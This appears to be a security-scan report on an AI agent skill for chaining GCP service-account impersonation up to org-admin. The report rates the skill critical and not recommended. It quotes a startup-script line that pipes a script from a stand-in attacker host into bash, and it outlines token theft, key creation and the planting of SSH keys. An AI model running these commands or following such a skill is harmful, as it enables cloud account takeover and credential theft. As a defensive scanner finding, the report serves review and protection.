GCP service account impersonation chain — IAM `roles/iam.serviceAccountTokenCreator`, `roles/iam.serviceAccountUser`, `actAs` on Cloud Functions / Cloud Run / Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.
65
78%
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Critical
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tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.mdSecurity
4 findings: 2 critical severity, 1 high severity, 1 medium severity. Installing this skill is not recommended: please review these findings carefully if you do intend to do so.
Detected a suspicious URL in the skill instructions that could lead the agent to download and execute malicious scripts or binaries. This includes links to executables from untrusted sources, typosquatting of official packages, URL shorteners that obscure the destination, and personal file hosting services.
The presence of a direct curl|bash command pointing to https://attacker.com/x.sh in the startup-script is a high-risk delivery vector (remote executable script from an untrusted domain) that can distribute malware or backdoors.
Detected high-risk code patterns in the skill content — including its prompts, tool definitions, and resources — such as data exfiltration, backdoors, remote code execution, credential theft, system compromise, supply chain attacks, and obfuscation techniques.
This document is an explicit, step-by-step malicious guide for stealing GCP service account tokens, creating persistent credentials, deploying code to exfiltrate metadata, and adding backdoors/SSH access for privilege escalation and lateral movement.
The skill handles credentials insecurely by requiring the agent to include secret values verbatim in its generated output. This exposes credentials in the agent’s context and conversation history, creating a risk of data exfiltration.
The prompt explicitly instructs fetching access tokens and service-account JSON keys and then embedding them verbatim into commands/HTTP headers or files (e.g., Authorization: Bearer $TOKEN, writing /tmp/k.json), which requires the agent to read and output secret values.
The skill prompts the agent to compromise the security or integrity of the user’s machine by modifying system-level services or configurations, such as obtaining elevated privileges, altering startup scripts, or changing system-wide settings.
The skill provides explicit, actionable commands to create service-account keys, deploy functions as higher-privilege service accounts, inject startup scripts, and add project-wide SSH keys — all of which modify VM/project state and enable persistent, elevated access.
Low
Low-risk findings.
1 low severity finding. Worth noting, but not necessarily harmful.
The skill fetches instructions or code from an external URL at runtime, and the fetched content directly controls the agent’s prompts or executes code. This dynamic dependency allows the external source to modify the agent’s behavior without any changes to the skill itself.
The skill contains a startup-script that runs "curl -fsSL https://attacker.com/x.sh | bash", which fetches and executes remote code at runtime from https://attacker.com/x.sh.
0cf691e
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